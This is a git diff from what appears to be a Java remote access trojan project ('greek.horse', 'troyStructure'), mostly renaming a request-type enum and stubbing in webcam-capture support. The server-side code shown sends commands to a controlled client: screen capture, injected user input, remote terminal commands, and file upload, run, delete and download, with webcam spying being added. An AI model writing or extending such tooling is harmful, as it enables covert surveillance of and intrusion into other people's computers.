diff --git a/src/main/java/greek/horse/client/ClientSocketManager.java b/src/main/java/greek/horse/client/ClientSocketManager.java index 32c3e2c..53c5ab0 100644 --- a/src/main/java/greek/horse/client/ClientSocketManager.java +++ b/src/main/java/greek/horse/client/ClientSocketManager.java @@ -147,7 +147,7 @@ public class ClientSocketManager { private Object answerTicket(FunctionTicket ticket, Object o) { try { - RequestFunction f = ticket.getFunction(); + RequestFunctionType f = ticket.getFunction(); switch (f) { case NET_INFO: diff --git a/src/main/java/greek/horse/models/FunctionTicket.java b/src/main/java/greek/horse/models/FunctionTicket.java index 21496f0..a3bfd87 100644 --- a/src/main/java/greek/horse/models/FunctionTicket.java +++ b/src/main/java/greek/horse/models/FunctionTicket.java @@ -4,12 +4,12 @@ import java.io.Serializable; import java.util.Objects; public class FunctionTicket implements Serializable { - private final RequestFunction requestFunction; + private final RequestFunctionType requestFunctionType; private final String id; private final boolean fixed; - public FunctionTicket(RequestFunction requestFunction, String id, boolean fixed) { - this.requestFunction = requestFunction; + public FunctionTicket(RequestFunctionType requestFunctionType, String id, boolean fixed) { + this.requestFunctionType = requestFunctionType; this.id = id; this.fixed = fixed; } @@ -17,7 +17,7 @@ public class FunctionTicket implements Serializable { @Override public String toString() { return "FunctionTicket{" + - "function=" + requestFunction + + "function=" + requestFunctionType + ", id='" + id + '\'' + ", fixed=" + fixed + '}'; @@ -28,20 +28,20 @@ public class FunctionTicket implements Serializable { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; FunctionTicket that = (FunctionTicket) o; - return requestFunction == that.requestFunction && Objects.equals(id, that.id); + return requestFunctionType == that.requestFunctionType && Objects.equals(id, that.id); } @Override public int hashCode() { - return Objects.hash(requestFunction, id); + return Objects.hash(requestFunctionType, id); } public String getId() { return id; } - public RequestFunction getFunction() { - return requestFunction; + public RequestFunctionType getFunction() { + return requestFunctionType; } public boolean isFixed() { diff --git a/src/main/java/greek/horse/models/MonitorDesktopWrapper.java b/src/main/java/greek/horse/models/MonitorDesktopWrapper.java index 512aa69..c4185e0 100644 --- a/src/main/java/greek/horse/models/MonitorDesktopWrapper.java +++ b/src/main/java/greek/horse/models/MonitorDesktopWrapper.java @@ -6,10 +6,9 @@ public class MonitorDesktopWrapper implements Serializable { private final double width; private final double height; private final boolean compressed; - private int monitor; + private final int monitor; public MonitorDesktopWrapper(double w, double Height, boolean compressed, int monitor) { - this.width = w; this.height = Height; this.compressed = compressed; diff --git a/src/main/java/greek/horse/models/RequestFunction.java b/src/main/java/greek/horse/models/RequestFunctionType.java similarity index 64% rename from src/main/java/greek/horse/models/RequestFunction.java rename to src/main/java/greek/horse/models/RequestFunctionType.java index 41363f5..3c041d1 100644 --- a/src/main/java/greek/horse/models/RequestFunction.java +++ b/src/main/java/greek/horse/models/RequestFunctionType.java @@ -2,12 +2,12 @@ package greek.horse.models; import java.io.Serializable; -public enum RequestFunction implements Serializable { +public enum RequestFunctionType implements Serializable { NET_INFO, - CHAT_MESSAGE, CHAT_START, + CHAT_START, CHAT_MESSAGE, RELEASE, @@ -15,6 +15,8 @@ public enum RequestFunction implements Serializable { DESKTOP_START, DESKTOP_REFRESH, USER_INPUT, MONITOR_COUNT, + WEBCAM_START, WEBCAM_REFRESH, WEBCAM_COUNT, + FILES, TERMINAL_START, TERMINAL_COMMAND diff --git a/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java b/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java index f893c88..5704fd6 100644 --- a/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java +++ b/src/main/java/greek/horse/server/troyStructure/TroyPlebe.java @@ -49,35 +49,35 @@ public class TroyPlebe { } public UniqueTroyRequest getNetInfo() { - UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.NET_INFO, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.NET_INFO, true); requests.add(req); return req; } public UniqueTroyRequest getDisconnect() { - UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.DISCONNECT, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.DISCONNECT, false); requests.add(req); return req; } public void doStop() { - UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.STOP, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.STOP, false); requests.add(req); } public void doToggleLock(boolean lock) { - UniqueTroyRequest req = new UniqueTroyRequest(this, lock, RequestFunction.LOCK, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, lock, RequestFunctionType.LOCK, false); requests.add(req); } public RecurrentTroyRequest startScreenCapture(MonitorDesktopWrapper wrapper) { - RecurrentTroyRequest req = new RecurrentTroyRequest(wrapper, RequestFunction.DESKTOP_START); + RecurrentTroyRequest req = new RecurrentTroyRequest(wrapper, RequestFunctionType.DESKTOP_START); requests.add(req); return req; } public void sendUserInputs(ArrayList inputs) { - UniqueTroyRequest req = new UniqueTroyRequest(this, inputs, RequestFunction.USER_INPUT, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, inputs, RequestFunctionType.USER_INPUT, false); requests.add(req); } @@ -98,87 +98,87 @@ public class TroyPlebe { } public UniqueTroyRequest getDrives() { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.LOAD_DRIVES), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.LOAD_DRIVES), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest getFiles(Path dir) { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(dir.toString(), BrowserTicketType.LOAD_FILES), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(dir.toString(), BrowserTicketType.LOAD_FILES), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest runFile(Path path) { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.RUN), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.RUN), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest uploadFile(Path path, String fileName, byte[] bytes) { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.UPLOAD, fileName, bytes), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.UPLOAD, fileName, bytes), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest getKnownFolders() { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.KNOWN_FOLDERS), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(BrowserTicketType.KNOWN_FOLDERS), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest deleteFile(Path path) { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DELETE), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DELETE), RequestFunctionType.FILES, true); requests.add(req); return req; } public UniqueTroyRequest downloadFile(Path path) { - UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DOWNLOAD), RequestFunction.FILES, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, new FileBrowserTicket(path.toString(), BrowserTicketType.DOWNLOAD), RequestFunctionType.FILES, true); requests.add(req); return req; } public TroyRequest startTerminal() { - RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunction.TERMINAL_START); + RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunctionType.TERMINAL_START); requests.add(req); return req; } public Object startChat() { - RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunction.CHAT_START); + RecurrentTroyRequest req = new RecurrentTroyRequest(EMPTY, RequestFunctionType.CHAT_START); requests.add(req); return req; } public void sendTerminalCommand(String command) { - UniqueTroyRequest req = new UniqueTroyRequest(this, command, RequestFunction.TERMINAL_COMMAND, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, command, RequestFunctionType.TERMINAL_COMMAND, false); requests.add(req); } public void sendChatMessage(String message) { - UniqueTroyRequest req = new UniqueTroyRequest(this, message, RequestFunction.CHAT_MESSAGE, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, message, RequestFunctionType.CHAT_MESSAGE, false); requests.add(req); } public void releaseRequest(RecurrentTroyRequest request) { - UniqueTroyRequest req = new UniqueTroyRequest(this, request.getTicket().getId(), RequestFunction.RELEASE, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, request.getTicket().getId(), RequestFunctionType.RELEASE, false); requests.add(req); request.getReleased().set(true); } public void refreshDesktop(MonitorDesktopWrapper wrapper) { - UniqueTroyRequest req = new UniqueTroyRequest(this, wrapper, RequestFunction.DESKTOP_REFRESH, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, wrapper, RequestFunctionType.DESKTOP_REFRESH, false); requests.add(req); } public void turnOff() { - UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.TURN_OFF, false); + UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.TURN_OFF, false); requests.add(req); } public UniqueTroyRequest getMonitorCount() { - UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunction.MONITOR_COUNT, true); + UniqueTroyRequest req = new UniqueTroyRequest(this, EMPTY, RequestFunctionType.MONITOR_COUNT, true); requests.add(req); return req; } diff --git a/src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java b/src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java index 87d6e0b..02b77d0 100644 --- a/src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java +++ b/src/main/java/greek/horse/server/troyStructure/request/RecurrentTroyRequest.java @@ -1,6 +1,6 @@ package greek.horse.server.troyStructure.request; -import greek.horse.models.RequestFunction; +import greek.horse.models.RequestFunctionType; import greek.horse.models.FunctionTicket; import javafx.collections.FXCollections; import javafx.collections.ObservableList; @@ -17,7 +17,7 @@ public class RecurrentTroyRequest implements TroyRequest { private final AtomicBoolean sent = new AtomicBoolean(false); - public RecurrentTroyRequest(Object sendObj, RequestFunction f) { + public RecurrentTroyRequest(Object sendObj, RequestFunctionType f) { this.sendObj = sendObj; this.ticket = new FunctionTicket(f, String.valueOf(System.currentTimeMillis()) + sendObj.hashCode(), true); } diff --git a/src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java b/src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java index 4671e50..9ed7bdc 100644 --- a/src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java +++ b/src/main/java/greek/horse/server/troyStructure/request/UniqueTroyRequest.java @@ -1,6 +1,6 @@ package greek.horse.server.troyStructure.request; -import greek.horse.models.RequestFunction; +import greek.horse.models.RequestFunctionType; import greek.horse.models.FunctionTicket; import greek.horse.server.troyStructure.TroyPlebe; import org.apache.log4j.Logger; @@ -18,7 +18,7 @@ public class UniqueTroyRequest implements TroyRequest { private final boolean haveResponse; private static final Logger log = Logger.getLogger(UniqueTroyRequest.class); - public UniqueTroyRequest(TroyPlebe father, Object sendObj, RequestFunction f, boolean haveResponse) { + public UniqueTroyRequest(TroyPlebe father, Object sendObj, RequestFunctionType f, boolean haveResponse) { this.father = father; this.sendObj = sendObj; this.ticket = new FunctionTicket(f, String.valueOf(System.currentTimeMillis()) + sendObj.hashCode(), false); diff --git a/src/main/java/greek/horse/server/ui/controllers/HorseController.java b/src/main/java/greek/horse/server/ui/controllers/HorseController.java index 9f37639..b9afce9 100644 --- a/src/main/java/greek/horse/server/ui/controllers/HorseController.java +++ b/src/main/java/greek/horse/server/ui/controllers/HorseController.java @@ -1,7 +1,6 @@ package greek.horse.server.ui.controllers; import greek.horse.models.NetInfo; -import greek.horse.models.OS; import greek.horse.server.troyStructure.NetInfoTable; import greek.horse.server.troyStructure.TroyPlebe; import greek.horse.server.troyStructure.TroyServer; diff --git a/src/main/java/greek/horse/server/ui/controllers/WebcamController.java b/src/main/java/greek/horse/server/ui/controllers/WebcamController.java new file mode 100644 index 0000000..a5cd2b5 --- /dev/null +++ b/src/main/java/greek/horse/server/ui/controllers/WebcamController.java @@ -0,0 +1,4 @@ +package greek.horse.server.ui.controllers; + +public class WebcamController { +} diff --git a/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java b/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java index 144a664..aeb30ff 100644 --- a/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java +++ b/src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java @@ -9,9 +9,11 @@ import greek.horse.server.ui.controllers.MonitorDesktopController; import javafx.application.Platform; import javafx.collections.ListChangeListener; import javafx.collections.ObservableList; +import javafx.event.EventHandler; import javafx.fxml.FXMLLoader; import javafx.scene.Parent; import javafx.scene.Scene; +import javafx.scene.input.MouseEvent; import javafx.stage.Stage; import org.apache.log4j.Logger; @@ -59,6 +61,14 @@ public class MonitorDesktopTask implements Runnable { controller.setStage(stage); controller.setTask(this); + EventHandler event = mouseEvent -> { + if (running.get()) { + refreshSettings(); + } + }; + scene.setOnMouseEntered(event); + scene.setOnMouseExited(event); + stage.show(); } catch (IOException e) { @@ -158,7 +168,7 @@ public class MonitorDesktopTask implements Runnable { timer.scheduleAtFixedRate(new TimerTask() { @Override public void run() { - refreshSettings(); +// refreshSettings(); Platform.runLater(() -> { controller.setFpsText((int) (frameCount.get() / Math.floorDiv(System.currentTimeMillis() - initTime, 1000))); }); diff --git a/src/main/resources/scenes/webcam.fxml b/src/main/resources/scenes/webcam.fxml new file mode 100644 index 0000000..f995132 --- /dev/null +++ b/src/main/resources/scenes/webcam.fxml @@ -0,0 +1,49 @@ + + + + + + + + + + + + +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
diff --git a/target/classes/greek/horse/client/ClientSocketManager$1.class b/target/classes/greek/horse/client/ClientSocketManager$1.class index b125340..b9b3b4a 100644 Binary files a/target/classes/greek/horse/client/ClientSocketManager$1.class and b/target/classes/greek/horse/client/ClientSocketManager$1.class differ diff --git a/target/classes/greek/horse/client/ClientSocketManager.class b/target/classes/greek/horse/client/ClientSocketManager.class index 956d6f6..0445534 100644 Binary files a/target/classes/greek/horse/client/ClientSocketManager.class and b/target/classes/greek/horse/client/ClientSocketManager.class differ diff --git a/target/classes/greek/horse/models/FunctionTicket.class b/target/classes/greek/horse/models/FunctionTicket.class index 4ad375d..f61aea1 100644 Binary files a/target/classes/greek/horse/models/FunctionTicket.class and b/target/classes/greek/horse/models/FunctionTicket.class differ diff --git a/target/classes/greek/horse/models/MonitorDesktopWrapper.class b/target/classes/greek/horse/models/MonitorDesktopWrapper.class index a524104..c2dd1d0 100644 Binary files a/target/classes/greek/horse/models/MonitorDesktopWrapper.class and b/target/classes/greek/horse/models/MonitorDesktopWrapper.class differ diff --git a/target/classes/greek/horse/models/RequestFunction.class b/target/classes/greek/horse/models/RequestFunction.class deleted file mode 100644 index 599be8a..0000000 Binary files a/target/classes/greek/horse/models/RequestFunction.class and /dev/null differ diff --git a/target/classes/greek/horse/models/RequestFunctionType.class b/target/classes/greek/horse/models/RequestFunctionType.class new file mode 100644 index 0000000..682bdee Binary files /dev/null and b/target/classes/greek/horse/models/RequestFunctionType.class differ diff --git a/target/classes/greek/horse/server/troyStructure/TroyPlebe.class b/target/classes/greek/horse/server/troyStructure/TroyPlebe.class index 6bce4e3..bf9d500 100644 Binary files a/target/classes/greek/horse/server/troyStructure/TroyPlebe.class and b/target/classes/greek/horse/server/troyStructure/TroyPlebe.class differ diff --git a/target/classes/greek/horse/server/troyStructure/request/RecurrentTroyRequest.class b/target/classes/greek/horse/server/troyStructure/request/RecurrentTroyRequest.class index ef71abb..65956f2 100644 Binary files a/target/classes/greek/horse/server/troyStructure/request/RecurrentTroyRequest.class and b/target/classes/greek/horse/server/troyStructure/request/RecurrentTroyRequest.class differ diff --git a/target/classes/greek/horse/server/troyStructure/request/UniqueTroyRequest.class b/target/classes/greek/horse/server/troyStructure/request/UniqueTroyRequest.class index 9a49b30..330d10e 100644 Binary files a/target/classes/greek/horse/server/troyStructure/request/UniqueTroyRequest.class and b/target/classes/greek/horse/server/troyStructure/request/UniqueTroyRequest.class differ diff --git a/target/classes/greek/horse/server/ui/controllers/HorseController.class b/target/classes/greek/horse/server/ui/controllers/HorseController.class index fcd6a1b..4b77c08 100644 Binary files a/target/classes/greek/horse/server/ui/controllers/HorseController.class and b/target/classes/greek/horse/server/ui/controllers/HorseController.class differ diff --git a/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask$1.class b/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask$1.class index 094d54b..8e6b830 100644 Binary files a/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask$1.class and b/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask$1.class differ diff --git a/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class b/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class index bb346aa..26b84bf 100644 Binary files a/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class and b/target/classes/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.class differ diff --git a/target/classes/scenes/webcam.fxml b/target/classes/scenes/webcam.fxml new file mode 100644 index 0000000..f995132 --- /dev/null +++ b/target/classes/scenes/webcam.fxml @@ -0,0 +1,49 @@ + + + + + + + + + + + + +
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +